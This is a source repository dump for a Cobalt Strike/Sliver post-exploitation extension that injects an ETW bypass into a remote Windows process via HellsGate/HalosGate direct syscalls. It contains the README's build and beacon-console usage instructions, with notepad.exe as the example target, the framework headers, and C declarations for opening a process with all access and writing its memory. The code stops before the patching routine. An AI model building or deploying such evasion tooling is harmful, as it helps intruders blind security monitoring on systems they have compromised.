├── .github └── workflows │ └── autorelease.yml ├── .gitignore ├── LICENSE ├── README.md ├── beacon.h ├── compile.sh ├── compiled └── .gitkeep ├── extension.json ├── images └── injectEtw.png ├── injectEtwBypass.c ├── injectEtwBypass.cna └── string2Array.py /.github/workflows/autorelease.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | push: 5 | tags: ["v[0-9]+.[0-9]+.[0-9]+"] 6 | branches: ["main"] 7 | 8 | jobs: 9 | 10 | linux-windows-build: 11 | name: MinGW Build 12 | if: startsWith( github.ref, 'refs/tags/v') 13 | runs-on: ubuntu-latest 14 | timeout-minutes: 45 15 | steps: 16 | 17 | - name: OS Packages 18 | run: | 19 | sudo apt-get update --fix-missing && sudo apt-get -y install \ 20 | git build-essential zlib1g zlib1g-dev wget zip unzip \ 21 | mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib 22 | 23 | - name: Minisign 24 | run: | 25 | MINISIGN_TMP=`mktemp -d` 26 | cd $MINISIGN_TMP 27 | wget https://github.com/aead/minisign/releases/download/v0.2.0/minisign-linux-amd64.tar.gz 28 | tar xvf minisign-linux-amd64.tar.gz 29 | mv ./minisign ~/minisign 30 | 31 | - name: Check out code into the Go module directory 32 | uses: actions/checkout@v2 33 | 34 | - name: Git Fetch Tags 35 | run: git fetch --prune --unshallow --tags -f 36 | 37 | - name: Build Package 38 | run: | 39 | ./compile.sh 40 | rm -f ./compiled/.gitkeep 41 | VERSION=$(git describe --tags --abbrev=0) 42 | cat extension.json | jq ".version |= \"$VERSION\"" > ./compiled/extension.json 43 | cp LICENSE ./compiled/LICENSE 44 | cd compiled 45 | tar -czvf ../inject-etw-bypass.tar.gz . 46 | 47 | - name: Sign Package 48 | run: | 49 | touch ~/minisign.key && chmod 600 ~/minisign.key 50 | echo -e "${{ secrets.MINISIGN_PRIVATE_KEY }}" > ~/minisign.key 51 | MANIFEST=$(cat ./compiled/extension.json | base64 -w 0) 52 | bash -c "echo \"\" | ~/minisign -s ~/minisign.key -S -m ./inject-etw-bypass.tar.gz -t \"$MANIFEST\" -x inject-etw-bypass.minisig" 53 | 54 | - name: "Publish Release" 55 | uses: "marvinpinto/action-automatic-releases@latest" 56 | with: 57 | repo_token: "${{ secrets.GITHUB_TOKEN }}" 58 | prerelease: false 59 | files: | 60 | ./inject-etw-bypass.minisig 61 | ./inject-etw-bypass.tar.gz 62 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | compiled/** -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Cobalt Strike BOF - Inject ETW Bypass 2 | Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate) 3 | 4 | #### Running InjectEtwBypass BOF from CobaltStrike to Bypass ETW in Notepad.exe 5 | ![](images/injectEtw.png) 6 | 7 | ### Compile with x64 MinGW: 8 | ```bash 9 | cat compile.sh 10 | x86_64-w64-mingw32-gcc -m64 -mwindows -c injectEtwBypass.c -o injectEtwBypass.o \ 11 | -masm=intel -Wall -fno-asynchronous-unwind-tables -nostdlib -fno-ident -Wl,-Tlinker.ld,--no-seh 12 | bash compile.sh 13 | ``` 14 | 15 | ### Run from Cobalt Strike Beacon Console 16 | + After compiling `injectEtwBypass.o`, load the `injectEtwBypass.cna` script into Cobalt Strikes via the Script Manager 17 | + Once loaded into Cobalt Strike, you can use the command from the interactive beacon console: 18 | ```bash 19 | beacon> help 20 | injectEtwBypass - Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate) 21 | beacon> help injectEtwBypass 22 | Synopsis: injectEtwBypass PID 23 | beacon> injectEtwBypass 8968 24 | [*] Inject ETW Bypass (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7) 25 | [+] host called home, sent: 2336 bytes 26 | [+] received output: 27 | Injecting NTDLL.EtwEventWrite bypass in remote process: 8968 (PID) 28 | ``` 29 | 30 | ## Credits / References 31 | ### ETW Bypass Massive Credits to [Adam Chester (@\_xpn\_) of TrustedSec](https://twitter.com/_xpn_) 32 | + [@\_xpn\_ Hiding Your .NET – ETW](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) 33 | + [ajpc500/BOFs](https://github.com/ajpc500/BOFs/) 34 | + [Offensive Security OSEP](https://www.offensive-security.com/pen300-osep/) 35 | ### Creating Shellcode BOFs with C [Chetan Nayak (@NinjaParanoid)](https://twitter.com/NinjaParanoid) 36 | + [Executing Position Independent Shellcode from Object Files in Memory](https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) 37 | ### HalosGate SysCaller 38 | + [Reenz0h from @SEKTOR7net](https://twitter.com/SEKTOR7net) 39 | + Most of the C techniques I use are from [Reenz0h's awesome Sektor7 courses](https://institute.sektor7.net/) & blogs 40 | + Best classes for malware development out there. 41 | + Creator of the halos gate technique. His work was the motivation for this work. 42 | + [Sektor7 HalosGate Blog](https://blog.sektor7.net/#!res/2021/halosgate.md) 43 | ### HellsGate Syscaller 44 | + [@smelly__vx](https://twitter.com/smelly__vx) & [@am0nsec](https://twitter.com/am0nsec) ( Creators/Publishers of the Hells Gate technique ) 45 | + Could not have made my implementation of HellsGate without them :) 46 | + Awesome work on this method, really enjoyed working through it myself. Thank you! 47 | + [HellsGate Github Repo](https://github.com/am0nsec/HellsGate) 48 | + Link to the [Hell's Gate paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf](https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf) 49 | ### Process Injection - [Pavel Yosifovich (@zodiacon)](https://twitter.com/zodiacon) 50 | + [Windows Process Injection for Red-Blue Teams](https://www.pentesteracademy.com/course?id=50) 51 | ### BOF Helpers 52 | ##### Raphael Mudge - Beacon Object Files - Luser Demo 53 | + https://www.youtube.com/watch?v=gfYswA_Ronw 54 | ##### Cobalt Strike - Beacon Object Files 55 | + https://www.cobaltstrike.com/help-beacon-object-files 56 | ###### ajpc500/BOFs 57 | + https://github.com/ajpc500/BOFs/ 58 | ###### trustedsec/CS-Situational-Awareness-BOF 59 | + https://github.com/trustedsec/CS-Situational-Awareness-BOF 60 | ### Great Resource for learning Intel ASM - [Vivek Ramachandran (@vivekramac)](https://twitter.com/vivekramac) 61 | + [Pentester Academy - SLAE64](https://www.pentesteracademy.com/course?id=7) 62 | ### Implementing ASM in C Code with GCC 63 | + [Outflank - Direct Syscalls in Beacon Object Files](https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/) 64 | + https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html 65 | + http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm 66 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo); 60 | 61 | /* Utility Functions */ 62 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | x86_64-w64-mingw32-gcc -m64 -mwindows -c injectEtwBypass.c -o ./compiled/injectEtwBypass.amd64.o -masm=intel -Wall -fno-asynchronous-unwind-tables -nostdlib -fno-ident -Wl,-Tlinker.ld,--no-seh 3 | -------------------------------------------------------------------------------- /compiled/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sliverarmory/injectEtwBypass/6e15223edfcc994200edf5e17a3533350d4a0285/compiled/.gitkeep -------------------------------------------------------------------------------- /extension.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Inject ETW Bypass", 3 | "version": "v0.0.0", 4 | "command_name": "inject-etw-bypass", 5 | "extension_author": "@moloch--", 6 | "original_author": "@boku7", 7 | "repo_url": "https://github.com/sliverarmory/injectEtwBypass", 8 | "help": "Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate)", 9 | "depends_on": "coff-loader", 10 | "entrypoint": "go", 11 | "files": [ 12 | { 13 | "os": "windows", 14 | "arch": "amd64", 15 | "path": "injectEtwBypass.amd64.o" 16 | } 17 | ], 18 | "arguments": [ 19 | { 20 | "name": "pid", 21 | "desc": "The PID of the process you want to inject the bypass into.", 22 | "type": "int", 23 | "optional": false 24 | } 25 | ] 26 | } -------------------------------------------------------------------------------- /images/injectEtw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sliverarmory/injectEtwBypass/6e15223edfcc994200edf5e17a3533350d4a0285/images/injectEtw.png -------------------------------------------------------------------------------- /injectEtwBypass.c: -------------------------------------------------------------------------------- 1 | // Author: Bobby Cooke (@0xBoku) // SpiderLabs // github.com/boku7 // https://www.linkedin.com/in/bobby-cooke/ // https://0xboku.com 2 | // Credits / References: Reenz0h (@SEKTOR7net), Adam Chester (@_xpn_ / @TrustedSec), Chetan Nayak (@NinjaParanoid), 3 | // Vivek Ramachandran (@vivekramac), Pavel Yosifovich (@zodiacon), @smelly__vx & @am0nsec, @ajpc500, Matt Kingstone (@n00bRage) 4 | #pragma GCC diagnostic ignored "-Wint-to-pointer-cast" 5 | 6 | #include 7 | #include "beacon.h" 8 | 9 | #define PAGE_READONLY 0x02 10 | #define PAGE_READWRITE 0x04 11 | #define PAGE_EXECUTE_READ 0x20 12 | #define PAGE_EXECUTE_READWRITE 0x40 13 | 14 | // HellsGate / HalosGate 15 | VOID HellsGate(IN WORD wSystemCall); 16 | VOID HellDescent(); 17 | DWORD halosGateDown(IN PVOID ntdllApiAddr, IN WORD index); 18 | DWORD halosGateUp(IN PVOID ntdllApiAddr, IN WORD index); 19 | DWORD findSyscallNumber(IN PVOID ntdllApiAddr); 20 | 21 | // Define NT APIs 22 | //typedef BOOL (WINAPI * tWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); 23 | typedef BOOL (NTAPI * tNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PVOID); 24 | // NtWriteVirtualMemory(RCX:FFFFFFFFFFFFFFFF, RDX: 00007FFA4D2FF1A0 (Addr ntdll.EtwEventWrite), R9:0x1, R10:0x0) 25 | // https://github.com/jthuraisamy/SysWhispers/blob/523f5939ceb238070649d5c111e9733ae9e0940d/example-output/syscalls.h 26 | /*NTSTATUS NtWriteVirtualMemory( 27 | IN HANDLE ProcessHandle, 28 | IN PVOID BaseAddress, 29 | IN PVOID Buffer, 30 | IN ULONG NumberOfBytesToWrite, 31 | OUT PULONG NumberOfBytesWritten OPTIONAL);*/ 32 | typedef BOOL (NTAPI * tNtProtectVirtualMemory)(HANDLE, PVOID, PULONG, ULONG, PULONG); 33 | // RCX RDX R8 R9 34 | // NtWriteVirtualMemory( 35 | // RCX: FFFFFFFFFFFFFFFF 36 | // RDX: 00000000005FFC70 -> 00 F0 2F 4D FA 7F 00 00 00 (00007FFA4D2FF000) 37 | // R8: 00000000005FFC78 -> 00 10 00 00 00 00 00 00 00 (0x1000) 38 | // R9: 0000000020000080 39 | // ) 40 | //typedef HANDLE (WINAPI * tOpenProcess)(DWORD, WINBOOL, DWORD); 41 | // https://github.com/n00bk1t/n00bk1t/blob/master/ntopenprocess.c 42 | // Structs for NtOpenProcess 43 | typedef struct _OBJECT_ATTRIBUTES 44 | { 45 | ULONG uLength; 46 | HANDLE hRootDirectory; 47 | PVOID pObjectName; 48 | ULONG uAttributes; 49 | PVOID pSecurityDescriptor; 50 | PVOID pSecurityQualityOfService; 51 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 52 | typedef struct _CLIENT_ID 53 | { 54 | HANDLE pid; 55 | HANDLE UniqueThread; 56 | } CLIENT_ID, *PCLIENT_ID; 57 | // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess 58 | /* NTSTATUS NtOpenProcess( 59 | IN PHANDLE ProcessHandle, 60 | IN ACCESS_MASK DesiredAccess, 61 | IN POBJECT_ATTRIBUTES ObjectAttributes, 62 | OUT PCLIENT_ID ClientId 63 | );*/ 64 | // RCX: 000000000014FDE8 // Just a 8 byte address to put a handle in 65 | // RDX: 00000000001FFFFF (PROCESS_ALL_ACCESS) 66 | // R8: 000000000014FD90 -> 0x30 67 | // R9: 000000000014FD80 -> 28A4h (process ID in Hex) 68 | typedef BOOL (NTAPI * tNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 69 | 70 | // ASM Function Declaration 71 | PVOID crawlLdrDllList(wchar_t *); 72 | PVOID getExportDirectory(PVOID dllAddr); 73 | PVOID getExportAddressTable(PVOID dllBase, PVOID dllExportDirectory); 74 | PVOID getExportNameTable(PVOID dllBase, PVOID dllExportDirectory); 75 | PVOID getExportOrdinalTable(PVOID dllBase, PVOID dllExportDirectory); 76 | PVOID getSymbolAddress(PVOID symbolString, PVOID symbolStringSize, PVOID dllBase, PVOID ExportAddressTable, PVOID ExportNameTable, PVOID ExportOrdinalTable); 77 | PVOID pageAlign(PVOID dllAddr); 78 | 79 | typedef struct Export{ 80 | PVOID Directory; 81 | PVOID AddressTable; 82 | PVOID NameTable; 83 | PVOID OrdinalTable; 84 | }Export; 85 | 86 | typedef struct Dll{ 87 | PVOID dllBase; 88 | Export Export; 89 | }Dll; 90 | 91 | typedef struct ntapis{ 92 | tNtWriteVirtualMemory NtWriteVirtualMemory; 